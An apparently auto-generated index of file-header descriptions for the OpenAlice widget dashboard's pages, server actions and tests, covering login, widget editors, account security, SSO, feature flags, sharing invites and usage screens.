- **`embed-app.page.lily-studio`** — The «Lily Page» studio (S2 M2) — /widgets/lilypage?id={widgetId}, Launch hub. Configures the widget's hosted public page (/l/{slug}): slug, the content blocks (header/hours/prices/contact/Störung), the compliance fields (Impressum — DE-mandatory, Datenschutz override), the pause-mode fallback essentials, the enabled switch, and the QR section (current token + rotate). A live phone-frame preview renders THE SAME block components the public page uses (@openalicelabs/ui/lily) — the component-reuse law, so preview and page can never drift. Server component: loads the widget + its saved page row from embed-accounts (token stays server-side) and hands both to the client editor together with the env-resolved public bases (S2_PUBLIC_BASE / S2_QR_BASE — domain-agnostic, handoff ⚑1). Mirrors the Hours page's error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/lilypage/page.tsx:2*
- **`embed-app.page.login`** — Tests for the login page's landing-handoff query params. Key behaviors: - /login (no params) → the Sign-in tab is active, signup email is empty. - /login?email=<addr>&mode=signup → the Create-account tab opens directly and the signup form's email input is pre-filled with <addr>. - /login?email=<addr> (no mode) → stays on Sign-in, but the signup email is still pre-filled for when the user switches tabs. NOTE: useSearchParams comes from the vitest next/navigation stub (a vi.fn), so each test injects its own query string. next/link renders as a plain <a> so the page mounts without the Next runtime.  
  *embed-dashboard/src/test/LoginPage.test.tsx:2*
- **`embed-app.page.login`** — Standalone auth screen — split brand panel (dark-sakura, left) + real email+password sign-in / create-account card (cream, right). No AppShell. Tabs switch between Sign in / Create account. Both forms post to server actions (login/actions.ts) which talk to openalice-tenants server-side and set the HttpOnly oa_dash_session cookie on success — the plaintext password never leaves the server boundary.  
  *embed-dashboard/src/app/login/page.tsx:2*
- **`embed-app.page.mode`** — Per-widget Mode editor screen. Loads the real widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param and hands it to the client ModeEditor, which saves default_mode + call_mode via the saveModeAction server action (PATCH /me/widgets/{id}). Server component so the tenant token stays server-side. Mirrors the persona page error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/mode/page.tsx:2*
- **`embed-app.page.onboarding`** — Full-screen character-creation wizard (60-90s). No AppShell — standalone viewport takeover with its own topbar + footer stripe. 5-step real state machine (useReducer) wired to createWidgetAction: Step 1 — Name       → name, persona_script Step 2 — Mode       → mode (sales / support / brand) Step 3 — Voice      → voice on/off (default natural voice) + consent_us_stt/tts Step 4 — Knowledge  → brand_kb_url Step 5 — Review     → submit → createWidgetAction → /widgets/persona?id=<id> Error from the server action is surfaced on the Review step without leaving the wizard. On success the action calls redirect(), which Next.js handles via thrown NEXT_REDIRECT — caught by the framework, not our catch.  
  *embed-dashboard/src/app/onboarding/steps.tsx:7*
- **`embed-app.page.onboarding`** — Full-screen character-creation wizard (60-90s). No AppShell — standalone viewport takeover with its own topbar + footer stripe. 5-step real state machine (useReducer) wired to createWidgetAction: Step 1 — Name       → name, persona_script Step 2 — Mode       → mode (sales / support / brand) Step 3 — Voice      → voice on/off (default natural voice) + consent_us_stt/tts Step 4 — Knowledge  → brand_kb_url Step 5 — Review     → submit → createWidgetAction → /widgets/persona?id=<id> Error from the server action is surfaced on the Review step without leaving the wizard. On success the action calls redirect(), which Next.js handles via thrown NEXT_REDIRECT — caught by the framework, not our catch.  
  *embed-dashboard/src/app/onboarding/page.tsx:2*
- **`embed-app.page.overview`** — Per-widget Overview HOME — the landing screen for a single widget. Replaces the old "Overview" tab that dumped the user back to the all-widgets list (losing widget context). Gives each widget a real home: - status (Live / Draft) + the primary next action (Test drive / embed), - an at-a-glance facts strip (mode / model / languages / knowledge), - the setup guide (FirstRunChecklist, shared heuristics in widgetSetup), - a "what to do" journey grid (Set up → Launch → Grow) generated from the canonical widgetTabs() source, so the home and the tab strip never drift. Server component: loads the real widget from openalice-tenants by `?id=`, so the tenant token stays server-side. Error / empty states reuse the existing widgetCfgA notice copy (already translated in all 6 locales). The home's own body copy is English for now (i18n is a follow-up).  
  *embed-dashboard/src/app/(dash)/widgets/overview/page.tsx:2*
- **`embed-app.page.persona`** — Per-widget editor screen. Loads the real widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param and hands it to the client PersonaEditor, which saves name / persona script / mode and the Memory block (memory_mode + retention_days) via the saveWidgetAction server action. Server component so the tenant token stays server-side. Renders clear states when no id is supplied, the dashboard isn't configured, or the widget isn't found.  
  *embed-dashboard/src/app/(dash)/widgets/persona/page.tsx:2*
- **`embed-app.page.preview`** — Live WYSIWYG preview of the widget — browser-frame + faux customer pricing page + docked OpenAlice widget (avatar, chat bubble, compose bar). Loads the real widget by ?id= from openalice-tenants. Desktop / mobile viewport toggle is handled by PreviewClient. Share preview link is Pro+ gated (CTA only, no real share flow at this stage). Server component — token stays server-side.  
  *embed-dashboard/src/app/(dash)/widgets/preview/page.tsx:2*
- **`embed-app.page.preview`** — Client island for the preview page — owns the desktop/mobile toggle and renders the real widget metadata (name, public_id, appearance) from the server-loaded WidgetFull into the status chips. Honesty note: the browser frame renders a static layout mockup to show widget placement and chrome — it does NOT mount the real embed SDK. A prominent banner makes this clear and links to Test Drive for the live widget. Use TestDriveClient for a real, interactive session.  
  *embed-dashboard/src/app/(dash)/widgets/preview/PreviewClient.tsx:2*
- **`embed-app.page.reset-password`** — Set-a-new-password screen — the destination of the reset email's <dashboard-base>/reset-password?token=… link. Single cream card reusing the login page's module styles. The token rides a hidden input into resetPasswordAction; success links the user to /login to sign in with the new password. A missing token (page opened without the email link) shows a request-a-new-link view instead of a doomed form.  
  *embed-dashboard/src/app/reset-password/page.tsx:2*
- **`embed-app.page.settings`** — Widget settings page — server-rendered, loads real widget data from openalice-tenants by `?id=` query param. What ACTUALLY saves (has backend fields): - name        (PatchWidgetReq.name) - locale      (PatchWidgetReq.locale, "auto" → "" in DB) - status      (PatchWidgetReq.status: "active" | "paused") Clearly labelled "coming soon" (NO backend field in v1): - Domain allowlist - Privacy toggles (store-transcripts, cookie-less, PII redaction, etc.) - Notification toggles (email on lead, digest, escalations) Danger zone: - Pause / Resume → saveSettingsAction with status toggle (REAL) - Delete widget  → deleteWidgetAction after type-to-confirm (REAL → redirect /widgets) If no ?id= is present: list all widgets with links so the user can choose.  
  *embed-dashboard/src/app/(dash)/settings/page.tsx:2*
- **`embed-app.page.settings.account`** — Account · Security & Privacy page (M3 self-service). Server component: loads the caller's account info from openalice-tenants (GET /me/tenant) and hands it to the client AccountView. All sections are wired to real openalice-tenants endpoints: - M3.1 Export my data  → POST /me/export + poll GET /me/export/{id} (signed, 7-day download link) - M3.1 Delete account  → DELETE /me/account (30-day grace, owner-only) + POST /me/account/cancel-delete to back out - M3.2 Change password → POST /me/account/password (verifies current, rotates, invalidates other sessions) - M3.5 Profile edit    → PATCH /me/tenant (owner-only name/email; email change re-verifies) - M3.5 Active sessions → GET /me/sessions + DELETE /me/sessions/{id} (the `current` flag is always false on this proxy surface — handled gracefully in the UI) - M-keys API keys      → GET/POST/DELETE /me/account/api-keys (plaintext shown once on create; only a hash is stored) - M-mfa Two-factor     → POST /me/account/mfa/{setup,activate,disable} (TOTP QR + one-time backup codes; secret never leaves our origin — QR rendered client-side) Renders clear notice states when the session is missing or tenants is unreachable — mirroring the team/sso/settings pages.  
  *embed-dashboard/src/app/(dash)/settings/account/page.tsx:2*
- **`embed-app.page.settings.account.actions`** — Server actions for the /settings/account page (M3 self-service). All calls run server-side so the tenant bearer token never reaches the browser bundle. They forward to the REAL openalice-tenants /me surface: - startExportAction       POST   /me/export                (GDPR — M3.1) - exportStatusAction       GET    /me/export/{job_id}       (GDPR — M3.1) - scheduleDeleteAction    DELETE /me/account               (GDPR — M3.1) - cancelDeleteAction      POST   /me/account/cancel-delete  (GDPR — M3.1) - changePasswordAction    POST   /me/account/password       (M3.2) - updateProfileAction     PATCH  /me/tenant                 (M3.5) - listSessionsAction       GET   /me/sessions               (M3.5) - revokeSessionAction     DELETE /me/sessions/{id}          (M3.5) - listApiKeysAction        GET   /me/account/api-keys       (M-keys) - createApiKeyAction      POST   /me/account/api-keys       (M-keys) - revokeApiKeyAction     DELETE /me/account/api-keys/{id}   (M-keys) - setupMfaAction          POST   /me/account/mfa/setup      (M-mfa) - activateMfaAction       POST   /me/account/mfa/activate   (M-mfa) - disableMfaAction        POST   /me/account/mfa/disable    (M-mfa) Authorization (owner-only delete/cancel/profile/password, member+ export) is authoritative on the tenants backend; these actions only forward + translate errors. The change-password, profile-edit, and session surfaces went live in openalice-tenants (account.rs / tenant.rs / sessions.rs) — formerly backend-blocked, now fully wired.  
  *embed-dashboard/src/app/(dash)/settings/account/actions.ts:4*
- **`embed-app.page.settings.account.actions.security.test`** — Tests for the API-keys + MFA server actions on /settings/account. API keys (M-keys): - listApiKeysAction:   success → { ok, keys }; upstream error → { ok:false }. - createApiKeyAction:  empty/too-long name rejected WITHOUT a tenants call; success → { ok, key } (plaintext surfaced once); scopes passed through only when non-empty. - revokeApiKeyAction:  missing id rejected; success → ok; 404 surfaced. MFA (M-mfa): - setupMfaAction:      success → { ok, setup }; error → { ok:false }. - activateMfaAction:   empty code rejected w/o a call; success revalidates; code is normalised (spaces/dashes stripped). - disableMfaAction:    neither proof → rejected w/o a call; prefers the code when both are present; success revalidates. next/cache (revalidatePath) and @/lib/tenants are fully mocked — no network.  
  *embed-dashboard/src/test/accountSecurityActions.test.ts:2*
- **`embed-app.page.settings.account.actions.test`** — Tests for the /settings/account server actions (M3 self-service). startExportAction: - Success → { ok: true, job }. - Upstream error → { ok: false, error }. exportStatusAction: - Missing job id → error, no tenants call. - Success (no base URL) → returns the relative download_url unchanged. - Success (EMBED_ACCOUNTS_PUBLIC_URL set) → absolutizes the download_url. - Upstream error → { ok: false, error }. scheduleDeleteAction: - Success → ok=true + revalidatePath("/settings/account"). - 403 (not owner) → friendly error, no revalidate. cancelDeleteAction: - Success → ok=true + revalidatePath("/settings/account"). - Upstream error → ok=false. NOTE: next/cache (revalidatePath) and @/lib/tenants are fully mocked. No real network calls happen.  
  *embed-dashboard/src/test/accountActions.test.ts:2*
- **`embed-app.page.settings.account.sections.api-keys`** — API keys section (M-keys) — GET/POST/DELETE /me/account/api-keys. Create modal shows the plaintext key ONCE with copy + a "won't be shown again" warning. Extracted verbatim from AccountView.tsx — zero logic change.  
  *embed-dashboard/src/app/(dash)/settings/account/sections/ApiKeysSection.tsx:4*
- **`embed-app.page.settings.account.sections.mfa`** — Two-factor / MFA section (M-mfa) — /me/account/mfa/{setup,activate,disable}. QR rendered client-side from a vendored encoder so the TOTP secret never leaves our origin. Extracted verbatim from AccountView.tsx — zero logic change.  
  *embed-dashboard/src/app/(dash)/settings/account/sections/MfaSection.tsx:4*
- **`embed-app.page.settings.account.sections.profile`** — Profile section (M3.5) — edit display name + owner email → PATCH /me/tenant (owner-only). Optimistic update + error surface; an email change re-verifies, so we confirm + warn before saving. Extracted verbatim from AccountView.tsx — zero logic change.  
  *embed-dashboard/src/app/(dash)/settings/account/sections/ProfileSection.tsx:4*
- **`embed-app.page.settings.account.sections.sessions`** — Active sessions section (M3.5) — GET/DELETE /me/sessions. Per-row revoke with inline confirm. The `current` flag is always false on this proxy surface, so there is no "this device" badge. Extracted verbatim from AccountView.tsx — zero logic change.  
  *embed-dashboard/src/app/(dash)/settings/account/sections/SessionsSection.tsx:4*
- **`embed-app.page.settings.account.sections.utils`** — Shared UI helpers and small sub-components used across the account-settings section files. Extracted verbatim from AccountView.tsx — zero logic change.  
  *embed-dashboard/src/app/(dash)/settings/account/sections/utils.tsx:4*
- **`embed-app.page.settings.account.view`** — Interactive Account · Security & Privacy view (M3 self-service). Receives the server-loaded tenant info and renders five sections: 1. Profile (M3.5)        — REAL. Edit display name + owner email → PATCH /me/tenant (owner-only). Optimistic update + error surface; an email change re-verifies, so we confirm + warn before saving. 2. Password (M3.2)       — REAL. Change-password form (current + new + confirm) → POST /me/account/password. Validates locally, surfaces auth's 403 (wrong current) verbatim, warns that other sessions sign out. 3. Export my data (M3.1) — REAL. POST /me/export → poll the job → show the signed, 7-day download link. Fully wired. 4. Active sessions (M3.5) — REAL. GET /me/sessions + per-row revoke via DELETE /me/sessions/{id} (confirm-gated). NOTE: the `current` flag is always false on this proxy surface, so there is no "this device" badge. 5. API keys (M-keys)     — REAL. GET /me/account/api-keys + create (modal shows the plaintext key ONCE with copy + a "won't be shown again" warning) + revoke (confirm). 6. Two-factor (M-mfa)    — REAL. POST /me/account/mfa/setup (QR from the otpauth URI + one-time backup codes) → activate with a code → disable (code or password). Renders the QR client-side from a vendored encoder so the TOTP secret never leaves our origin. 7. Delete account (M3.1) — REAL. DELETE /me/account (30-day grace, owner-only) behind a type-to-confirm guard, and POST /me/account/cancel-delete to back out when the account is already scheduled. Only client-safe types (widgetSchema.ts), the vendored QR encoder (qr.ts), and server actions (actions.ts) are imported here — no server-only runtime values cross the boundary, so this compiles under `next build`. Boundary note: actions wire to server actions (actions.ts); the page is revalidated after delete/cancel/profile so server state reflects the change on the next render. Profile also updates optimistically client-side.  
  *embed-dashboard/src/app/(dash)/settings/account/AccountView.tsx:4*
- **`embed-app.page.settings.client`** — Tests for the SettingsClient component and its sub-components. Covers: DomainAllowlistEditor (the most logic-dense part of settings): - Renders the "Add domain" input and button. - Adding a valid hostname appends it to the chip list. - Adding via Enter key also works. - Adding an empty value shows "Enter a hostname." error. - Adding an invalid hostname (with scheme / path) shows an error. - Adding a duplicate hostname shows "Already in the list." error. - Removing a chip removes it from the list. - The hidden input serialises all chips as newline-separated. - Clearing the error when a new value is typed. SettingsClient (general form): - Renders the widget name in the name input. - Renders the locale select with the saved locale pre-selected. - The "Delete…" button is visible in the Danger zone section. - Clicking "Delete…" reveals the confirmation panel. - The "Delete forever" button is DISABLED until the widget name is typed exactly into the confirmation input. - Typing the exact widget name enables the "Delete forever" button. - Typing a partial name leaves "Delete forever" disabled. NOTE: Server actions (saveSettingsAction, savePrivacyAction, deleteWidgetAction) are mocked via vi.mock so no real network calls happen.  
  *embed-dashboard/src/test/SettingsClient.test.tsx:2*
- **`embed-app.page.settings.client`** — Interactive settings form for a single widget. Receives the already-loaded WidgetFull from the server component. Wires two server actions: - saveSettingsAction  → name + locale + allowed_domains + status (real backend fields) - deleteWidgetAction  → DELETE /me/widgets/{id} then redirect /widgets - savePrivacyAction   → cookie-less + PII-redaction (REAL, migration 0025) Privacy block: cookie-less + PII-redaction are REAL persisting toggles; the "model training" row is a locked "Never, by design" guarantee. The Notifications section is the only remaining locked/coming-soon block (no backend field yet — needs Brevo) and must NOT pretend to save anything. Domain allowlist section is REAL: chips editor, "Add domain" input with hostname validation, persists via saveSettingsAction.  
  *embed-dashboard/src/app/(dash)/settings/SettingsClient.tsx:4*
- **`embed-app.page.settings.client`** — Interactive settings form for a single widget. Receives the already-loaded WidgetFull from the server component. Wires two server actions: - saveSettingsAction  → name + locale + allowed_domains + status (real backend fields) - deleteWidgetAction  → DELETE /me/widgets/{id} then redirect /widgets - savePrivacyAction   → cookie-less + PII-redaction (REAL, migration 0025) Privacy block: cookie-less + PII-redaction are REAL persisting toggles; the "model training" row is a locked "Never, by design" guarantee. The Notifications section is the only remaining locked/coming-soon block (no backend field yet — needs Brevo) and must NOT pretend to save anything. Domain allowlist section is REAL: chips editor, "Add domain" input with hostname validation, persists via saveSettingsAction.  
  *embed-dashboard/src/app/(dash)/settings/SettingsRows.tsx:9*
- **`embed-app.page.settings.client`** — Interactive settings form for a single widget. Receives the already-loaded WidgetFull from the server component. Wires two server actions: - saveSettingsAction  → name + locale + allowed_domains + status (real backend fields) - deleteWidgetAction  → DELETE /me/widgets/{id} then redirect /widgets - savePrivacyAction   → cookie-less + PII-redaction (REAL, migration 0025) Privacy block: cookie-less + PII-redaction are REAL persisting toggles; the "model training" row is a locked "Never, by design" guarantee. The Notifications section is the only remaining locked/coming-soon block (no backend field yet — needs Brevo) and must NOT pretend to save anything. Domain allowlist section is REAL: chips editor, "Add domain" input with hostname validation, persists via saveSettingsAction.  
  *embed-dashboard/src/app/(dash)/settings/DomainAllowlistEditor.tsx:11*
- **`embed-app.page.settings.flags`** — Feature flags page for the embed dashboard. Server component: loads the flags list from openalice-tenants (GET /me/flags) and hands it to the client FlagsView. The caller's role is resolved from the team members list (is_self flag). The FlagsView uses the role to show toggle controls only to owners/admins, and renders a read-only view for members/viewers. Renders clear notice states when the session is missing or the tenants service is unreachable — mirroring the team and webhooks pages.  
  *embed-dashboard/src/app/(dash)/settings/flags/page.tsx:2*
- **`embed-app.page.settings.flags.actions`** — Server actions for the /settings/flags page. All calls run server-side so the tenant bearer token never reaches the browser bundle. They forward to openalice-tenants' /me/flags surface. - setFlagAction   PUT    /me/flags/{key}    body { value }   (owner/admin) - clearFlagAction DELETE /me/flags/{key}                     (owner/admin) Permission enforcement is authoritative on the tenants backend. These actions only do light shape validation before forwarding.  
  *embed-dashboard/src/app/(dash)/settings/flags/actions.ts:4*
- **`embed-app.page.settings.flags.view`** — Tests for FlagsView component. Flags list: - Renders "No feature flags" empty state when flags=[]. - Renders each flag's description in the list. - Shows "overridden" badge for overridden flags. - Shows "default" badge for non-overridden flags. Owner/admin controls: - Boolean flags show Enable/Disable button for owner caller. - Boolean flags show Enable/Disable button for admin caller. - Overridden boolean flag shows a Reset button for owner caller. - Non-boolean flags do NOT show Enable/Disable for owner caller. - Clicking Enable calls setFlagAction with the flag key and true. - Clicking Disable calls setFlagAction with the flag key and false. - Clicking Reset calls clearFlagAction with the flag key. Member/viewer — read-only: - Member caller sees no Enable/Disable/Reset buttons. - Viewer caller sees no Enable/Disable/Reset buttons. - Read-only notice is shown to member caller. - Read-only notice is shown to viewer caller. Error banner: - Renders error alert when initialLoadError is provided. - Does NOT render alert when initialLoadError is null. NOTE: server actions are fully mocked. window.location.reload is stubbed.  
  *embed-dashboard/src/test/FlagsView.test.tsx:2*
- **`embed-app.page.settings.flags.view`** — Interactive feature flags view. Receives the server-loaded flags list and provides: - Flags list: each row shows the flag key, human description, resolved value, and an "overridden" / "default" badge. - Toggle controls (owner/admin only): for boolean flags, a button flips the value via setFlagAction; a "Reset" button clears the override via clearFlagAction, restoring the platform default. Non-boolean flags show the value read-only (no toggle UI — manual API for advanced config). - Error banner: shown when initialLoadError is non-null (best-effort load failure — mirrors the TeamView pattern). - Read-only notice: shown to member/viewer callers (no mutation controls). Actions wire to server actions (actions.ts); after each mutation the page is revalidated via router.refresh() (re-fetches this Server Component's data in place — no full document reload, no shell remount) so the list reflects the live server state.  
  *embed-dashboard/src/app/(dash)/settings/flags/FlagsView.tsx:4*
- **`embed-app.page.settings.sso`** — Enterprise OIDC SSO configuration page (U4 milestone-2). Server component: loads the org's SSO config from openalice-tenants (GET /me/sso — owner/admin only) and hands it to the client SsoConfigForm. The client_secret is never loaded into the page (only a `has_client_secret` flag); the secret field is write-only. Renders clear notice states for missing session (401) and insufficient permission (403) — mirroring the team/settings pages. DEFERRED (m2.2): SAML, SCIM provisioning, multiple IdPs per org, group→role mapping.  
  *embed-dashboard/src/app/(dash)/settings/sso/page.tsx:2*
- **`embed-app.page.settings.sso.actions`** — Server actions for the /settings/sso page (U4 milestone-2). All calls run server-side so the tenant bearer token never reaches the browser bundle. They forward to openalice-tenants' owner/admin-only /me/sso surface. - saveSsoAction   PUT    /me/sso   (owner/admin) - deleteSsoAction DELETE /me/sso   (owner/admin) The client_secret is write-only: an empty secret field on save means "keep the existing stored secret" (so toggling `enabled` doesn't force a re-paste). Permission enforcement + secret encryption are authoritative on the tenants backend; these actions only do light shape validation. DEFERRED (m2.2): SAML, SCIM, multiple IdPs per org, group→role mapping.  
  *embed-dashboard/src/app/(dash)/settings/sso/actions.ts:4*
- **`embed-app.page.settings.sso.form`** — Client form for the org's OIDC SSO config (U4 milestone-2). Edits issuer/client_id/secret/domain + the auto_provision + enabled switches and saves via the saveSsoAction server action. The client_secret field is WRITE-ONLY: it renders empty (the value is never sent to the browser). Leaving it blank on save KEEPS the stored secret; a `has_client_secret` chip tells the admin one is already set. The IdP redirect URI the customer must register is shown read-only (copyable). Form fields use the shared accessible Field primitive: each carries a label, the FIELD_LIMITS-sourced maxLength + live counter, a hint, and inline live validation (issuer URL must be https; domain must be a bare host) wired to aria-invalid/aria-describedby. The two boolean switches are premium selectable cards (cardPremium) that wash sakura when active.  
  *embed-dashboard/src/app/(dash)/settings/sso/SsoConfigForm.tsx:2*
- **`embed-app.page.settings.team`** — Team management MOVED to the global dashboard (the Google-console model: organizations, members, roles and invitations are managed ONCE for the whole product line at the OpenAlice dashboard → Team, not per-product). This page is now a signpost to it; the old per-product team surface (member list, invites, role edits over openalice-tenants /me/team/*) is retired in favour of the platform org-RBAC API. P1-fix (design audit finding 4, 2026-07-09): this signpost had drifted out of the shared shell — it rendered bare (no rail/topbar/padding, unlike every sibling settings page) and referenced two classes that don't exist in globals.css (`oa-btn-primary` — single dash, the real modifier is double-dash `oa-btn--primary`; `settings-section`, which was never defined). Both left the page's CTA an unstyled, transparent button. Now wrapped in AppShell like flags/sso/account and using the real canonical classes (`oa-section`, `oa-btn oa-btn--primary`).  
  *embed-dashboard/src/app/(dash)/settings/team/page.tsx:2*
- **`embed-app.page.share.accept`** — Tests for the widget-share accept page states (per-widget sharing, #772): loading           — AcceptCard idle: the "Accept invitation" button is shown; clicking it flips to the "Accepting…" pending label while the action is in flight. success-redirect  — on an ok result the card shows the welcome state and router.push() navigates to the granted widget (/widgets/persona?id=<widget_id>). expired           — an "expired" result renders the friendly error message. used              — a "used" result renders the friendly error message. not-signed-in     — the page server component renders a sign-in CTA whose /login link preserves the return URL (the token). The server action is mocked; useRouter is mocked to capture push().  
  *embed-dashboard/src/test/ShareAccept.test.tsx:2*
- **`embed-app.page.share.accept`** — Widget-share invite-accept landing page (per-widget sharing, #772). Route: /share/accept?token=<invite-token> The share invite email links here (`<base>/share/accept?token=<token>`). The invitee lands, and — exactly like the team-invite accept page — two cases are handled: 1. NOT logged in — shows a login-first card with a link back to /login, preserving the token in the `next` param so the user returns here after signing in / creating an account. No hard-fail; the token stays valid until it expires on the backend. The backend accept endpoint is JWT- gated, so the user MUST be signed in before they can accept. 2. Logged in — shows an "Accept invitation" card with a single button. Clicking it fires the `acceptWidgetInviteAction` server action and: a. On success  → redirects to the granted widget (/widgets/persona?id=<widget_id>, from the response). b. On failure  → renders a friendly error card (expired token, already used, wrong account, etc.). Never a raw API error. If no token is in the URL the page still renders — it shows a "no token" card rather than a hard 500, consistent with fail-soft design. Design: mirrors settings/team/accept — same oa-card / oa-btn / sakura token classes, same minimal centred layout (no AppShell, since invited users may not have the dashboard sidebar context), matching the login page pattern.  
  *embed-dashboard/src/app/share/accept/page.tsx:2*
- **`embed-app.page.share.accept.actions`** — Server action for the /share/accept page (per-widget sharing, #772). Wraps POST /me/widgets/invites/{token}/accept in the tenants surface. This is the per-WIDGET analogue of settings/team/accept/actions.ts: instead of joining a whole workspace, the invitee redeems a token that grants them viewer/editor access to a SINGLE widget. The caller must be authenticated — the oa_dash_session cookie carries their JWT so the tenants service knows who is accepting and can match it against the invited email. The action returns a structured result — never throws — so the client page can render a clean success or fail-soft error card without relying on error boundaries. On success the result carries the granted widget's id so the card can redirect to it (/widgets/persona?id=<widget_id>). Failure reasons surfaced to the user: - 404 / 410 / token expired   → friendly "invalid or expired" message. - 409 / already used          → friendly "already used / already have access". - 403 / 401 / auth mismatch   → friendly "wrong account" message. - anything else               → generic "could not accept" message.  
  *embed-dashboard/src/app/share/accept/actions.ts:4*
- **`embed-app.page.share.accept.actions`** — Tests for the acceptWidgetInviteAction server action (per-widget sharing, #772). The per-WIDGET analogue of acceptInviteAction (team). acceptWidgetInviteAction: - Empty token → error, variant "expired". - Blank/whitespace-only token → error, variant "expired". - Success → returns { ok: true, accepted: <AcceptWidgetInviteResponse> } carrying the granted widget_id (the redirect target). - 404 / 410 upstream → friendly "expired or used" message, variant "expired". - 409 upstream → "already used" message, variant "used". - 403 / 401 upstream → "wrong account" message, variant "auth". - TenantsNotConfiguredError (no session) → auth variant message. - Generic non-classified error → generic message, variant "generic". - Calls revalidatePath("/widgets") on success only. - Trims whitespace from the token before forwarding. NOTE: next/cache (revalidatePath) and @/lib/tenants are fully mocked. No real network calls happen.  
  *embed-dashboard/src/test/shareAcceptAction.test.ts:2*
- **`embed-app.page.share.accept.card`** — Interactive accept card rendered when the visitor is already logged in. Receives the widget-share invite token from the parent server component and fires the `acceptWidgetInviteAction` server action on button click. Mirror of settings/team/accept/AcceptCard.tsx, scoped to a single widget: on success it navigates to the GRANTED widget (/widgets/persona?id=<id>) using the widget_id returned by the action, instead of /settings/team. States: idle     — "Accept invitation" button, waiting for the user to click. pending  — button shows "Accepting…", disabled. success  — brief "You're in!" state, then the router navigates to the granted widget (client-side push after the ok result returns, so the "welcome" state is visible before navigation). error    — friendly message card (expired, already used, wrong account, or generic). Never a raw API error.  
  *embed-dashboard/src/app/share/accept/AcceptCard.tsx:4*
- **`embed-app.page.testdrive`** — Per-widget Test-drive screen (§test-drive-preview). Loads the real widget from openalice-tenants by `?id=` and hands it to the client TestDriveClient, which rebuilds a hidden preview twin (its live config IS the draft) and mounts the real widget against it — so the owner chats with their unpublished changes before Publish. Server component so the tenant token stays server-side; mirrors the brand page error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/testdrive/page.tsx:2*
- **`embed-app.page.trained-by-us`** — Transparency changelog timeline — shows every change made to the widget's model, knowledge, persona, and safety config by You / OpenAlice / Auto. Wired to real audit data via GET /me/audit/{widget_id} (tenants bearer JWT, server-side). The `?id=` query param selects the widget; `?days=` controls the lookback window (30 / 90 / 0=all). Both are server-rendered so the bearer token never reaches the browser. Honest empty-state when no audit entries exist yet. Export CSV disabled.  
  *embed-dashboard/src/app/(dash)/widgets/trained-by-us/page.tsx:2*
- **`embed-app.page.transcript-email`** — Per-widget Transcript-email (Brevo) editor screen (§transcript-email, migration 0031). Loads the real widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param and hands it to the client TranscriptEmailEditor, which saves the transcript_email JSONB blob {enabled, to_address} via saveTranscriptEmailAction (PATCH /me/widgets/{id} draft). When a conversation ends, agent-lite emails the full transcript to the configured address (gated also on the server BREVO_API_KEY). Server component so the tenant token stays server-side. Mirrors the Hours page error-state pattern.  
  *embed-dashboard/src/app/(dash)/widgets/email/page.tsx:2*
- **`embed-app.page.usage`** — Usage & limits screen (pricing v2). Fetches the tenant's plan + the four metered dimensions from openalice-tenants (GET /me/billing, server-side) and renders: - three usage bars — conversations / voice minutes / KB pages — with percentage, ember at ≥80%, vermilion + "Upgrade" CTA at 100% (see UsageBars), and - the live widget count vs the plan cap. The enforced unit is the CONVERSATION (soft-stop: at the cap, new conversations get a polite static reply and the tenant sees the prompt HERE — the visitor never sees billing). Voice past its budget falls back to text-only. Mid-conversation is never cut. The Upgrade CTA links to /settings/billing, which honestly states plans are managed by the team for now (no self-serve checkout yet).  
  *embed-dashboard/src/app/(dash)/usage/page.tsx:2*
- **`embed-app.page.voice`** — Per-widget Voice library screen at /widgets/voice?id={widgetId}. Loads the real widget from openalice-tenants (GET /me/widgets/{id}) plus the tenant's cloned-voice library (GET /me/voices) and hands both to the client VoiceEditor, which manages cloning (record/upload → Mistral Voices API via tenants), assignment, rename, and delete. Server component so the tenant token stays server-side. Mirrors the brand / persona page error-state pattern. The voice library load is best-effort — a transient /me/voices failure still renders the editor with an empty library rather than blocking the whole page.  
  *embed-dashboard/src/app/(dash)/widgets/voice/page.tsx:2*
- **`embed-app.page.webhooks`** — Per-widget webhook configuration screen. Server component: resolves the widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param, lists its webhook registrations (GET /me/widgets/{id}/webhooks — never the signing secret), and hands both to the client WebhooksView, which manages add / toggle / delete through server actions. The payload + signature documentation block is real reference content shown alongside. The tenant token stays server-side. Renders clear states when no id is supplied, the dashboard isn't configured, or the widget isn't found — mirroring the A/B tests screen.  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/page.tsx:2*
- **`embed-app.page.widget-analytics`** — Per-widget conversation analytics. Loads the widget from openalice-tenants (GET /me/widgets/{id}) by the `?id=` query param to resolve its public_id, then hands it to the client AnalyticsView, which fetches live metrics from the server-side /api/analytics proxy (→ agent-lite internal summary). Server component so the tenant token stays server-side. Renders clear states when no id is supplied, the dashboard isn't configured, or the widget isn't found — mirroring the persona screen.  
  *embed-dashboard/src/app/(dash)/widgets/analytics/page.tsx:2*
- **`embed-app.page.widget-csat`** — Per-widget CSAT (visitor satisfaction) view. Resolves the widget from openalice-tenants then fetches CSAT data (average rating, total rated conversations, per-star distribution) from agent-lite. Design: - Headline: average score (e.g. "4.2 / 5") + total rated conversations. - Star distribution bar chart (ratings 1–5, each shown as a labelled horizontal bar with count + percentage). - Honest empty state when no conversations are rated yet ("Waiting for first ratings…"). - Mirrors the Insights page top-rated card, but scoped to ONE widget and showing the full distribution, not just the single best chat. UX defaults (v1, pending NAO review): - Lookback window: 30 days (fixed; a period picker is a v2 concern). - Shown in the per-widget tab strip alongside Analytics, Leads, etc. - Server-rendered for simplicity (no real-time refresh needed).  
  *embed-dashboard/src/app/(dash)/widgets/csat/page.tsx:2*
- **`embed-app.page.widgets-index`** — Widget list index — fetches the tenant's real widgets from openalice-tenants (GET /me/widgets) server-side and renders one card per widget. "Manage" deep-links into the per-widget Overview home carrying the widget id. Falls back to a clear empty / not-configured state. Server component: no browser interactivity needed, and the tenant token must never reach the client.  
  *embed-dashboard/src/app/(dash)/widgets/page.tsx:2*
- **`embed-app.page.widgets-new`** — Minimal create-widget form. POSTs to the createWidgetAction server action (POST /me/widgets), then the action redirects to the new widget's editor. This is the compact create surface. The richer 5-step onboarding wizard (/onboarding) is fully wired too — both submit through the same createWidgetAction. Matches the oa-* component system used across the dashboard.  
  *embed-dashboard/src/app/(dash)/widgets/new/page.tsx:4*

